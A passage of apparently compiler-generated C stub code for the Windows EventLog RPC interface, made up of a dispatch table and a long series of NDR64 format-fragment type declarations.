1370,\n    1438,\n    1468,\n    1596,\n    1712\n    };\n\n\nstatic const RPC_DISPATCH_FUNCTION eventlog_table[] =\n    {\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE eventlog_v0_0_DispatchTable = \n    {\n    27,\n    (RPC_DISPATCH_FUNCTION*)eventlog_table\n    };\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-even.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag274_t;\nextern const __midl_frag274_t __midl_frag274;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag272_t;\nextern const __midl_frag272_t __midl_frag272;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag271_t;\nextern const __midl_frag271_t __midl_frag271;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag264_t;\nextern const __midl_frag264_t __midl_frag264;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag263_t;\nextern const __midl_frag263_t __midl_frag263;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag262_t;\nextern const __midl_frag262_t __midl_frag262;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag261_t;\nextern const __midl_frag261_t __midl_frag261;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag259_t;\nextern const __midl_frag259_t __midl_frag259;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag258_t;\nextern const __midl_frag258_t __midl_frag258;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag257_t;\nextern const __midl_frag257_t __midl_frag257;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag244_t;\nextern const __midl_frag244_t __midl_frag244;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag242_t;\nextern const __midl_frag242_t __midl_frag242;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag241_t;\nextern const __midl_frag241_t __midl_frag241;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag239_t;\nextern const __midl_frag239_t __midl_frag239;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag233_t;\nextern const __midl_frag233_t __midl_frag233;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n}\n__midl_frag230_t;\nextern const __midl_frag230_t __midl_frag230;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag227_t;\nextern const __midl_frag227_t __midl_frag227;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag223_t;\nextern const __midl_frag223_t __midl_frag223;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag222_t;\nextern const __midl_frag222_t __midl_frag222;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag221_t;\nextern const __midl_frag221_t __midl_frag221;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag220_t;\nextern const __midl_frag220_t __midl_frag220;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag219_t;\nextern const __midl_frag219_t __midl_frag219;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag215_t;\nextern const __midl_frag215_t __midl_frag215;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag214_t;\nextern const __midl_frag214_t __midl_frag214;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag212_t;\nextern const __midl_frag212_t __midl_frag212;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag210_t;\nextern const __midl_frag210_t __midl_frag210;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag209_t;\nextern const __midl_frag209_t __midl_frag209;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n    struct _NDR64_PARAM_FORMAT frag18;\n}\n__midl_frag205_t;\nextern const __midl_frag205_t __midl_frag205;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag201_t;\nextern const __midl_frag201_t __midl_frag201;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag200_t;\nextern const __midl_frag200_t __midl_frag200;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag198_t;\nextern const __midl_frag198_t __midl_frag198;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag197_t;\nextern const __midl_frag197_t __midl_frag197;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag193_t;\nextern const __midl_frag193_t __midl_frag193;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag182_t;\nextern const __midl_frag182_t __midl_frag182;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag181_t;\nextern const __midl_frag181_t __midl_frag181;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag180_t;\nextern const __midl_frag180_t __midl_frag180;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag179_t;\nextern const __midl_frag179_t __midl_frag179;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag178_t;\nextern const __midl_frag178_t __midl_frag178;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag177_t;\nextern const __midl_frag177_t __midl_frag177;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag176_t;\nextern const __midl_frag176_t __midl_frag176;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag174_t;\nextern const __midl_frag174_t __midl_frag174;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n}\n__midl_frag166_t;\nextern const __midl_frag166_t __midl_frag166;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag158_t;\nextern const __midl_frag158_t __midl_frag158;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag157_t;\nextern const __midl_frag157_t __midl_frag157;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag156_t;\nextern const __midl_frag156_t __midl_frag156;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag150_t;\nextern const __midl_frag150_t __midl_frag150;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag149_t;\nextern const __midl_frag149_t __midl_frag149;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag144_t;\nextern const __midl_frag144_t __midl_frag144;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag143_t;\nextern const __midl_frag143_t __midl_frag143;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag137_t;\nextern const __midl_frag137_t __midl_frag137;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag134_t;\nextern const __midl_frag134_t __midl_frag134;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag133_t;\nextern const __midl_frag133_t __midl_frag133;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag132_t;\nextern const __midl_frag132_t __midl_frag132;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag125_t;\nextern const __midl_frag125_t __midl_frag125;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag124_t;\nextern const __midl_frag124_t __midl_frag124;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag123_t;\nextern const __midl_frag123_t __midl_frag123;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag122_t;\nextern const __midl_frag122_t __midl_frag122;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag121_t;\nextern const __midl_frag121_t __midl_frag121;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag120_t;\nextern const __midl_frag120_t __midl_frag120;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag119_t;\nextern const __midl_frag119_t __midl_frag119;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag115_t;\nextern const __midl_frag115_t __midl_frag115;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag114_t;\nextern const __midl_frag114_t __midl_frag114;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag112_t;\nextern const __midl_frag112_t __midl_frag112;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag110_t;\nextern const __midl_frag110_t __midl_frag110;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag104_t;\nextern const __midl_frag104_t __midl_frag104;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag100_t;\nextern const __midl_frag100_t __midl_frag100;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag94_t;\nextern const __midl_frag94_t __midl_frag94;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag93_t;\nextern const __midl_frag93_t __midl_frag93;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag92_t;\nextern const __midl_frag92_t __midl_frag92;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag91_t;\nextern const __midl_frag91_t __midl_frag91;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag90_t;\nextern const __midl_frag90_t __midl_frag90;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag89_t;\nextern const __midl_frag89_t __midl_frag89;\n\ntypedef \nstruct _NDR64_RANGE_FORMAT\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag86_t;\nextern const __midl_frag86_t __midl_frag86;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n    struct _NDR64_PARAM_FORMAT frag14;\n    struct _NDR64_PARAM_FORMAT frag15;\n    struct _NDR64_PARAM_FORMAT frag16;\n    struct _NDR64_PARAM_FORMAT frag17;\n}\n__midl_frag82_t;\nextern const __midl_frag82_t __midl_frag82;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag79_t;\nextern const __midl_frag79_t __midl_frag79;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_RANGE_FORMAT frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag75_t;\nextern const __midl_frag75_t __midl_frag75;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag74_t;\nextern const __midl_frag74_t __midl_frag74;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag73_t;\nextern const __midl_frag73_t __midl_frag73;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag68_t;\nextern const __midl_frag68_t __midl_frag68;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag60_t;\nextern const __midl_frag60_t __midl_frag60;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag41_t;\nextern const __midl_frag41_t __midl_frag41;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag39_t;\nextern 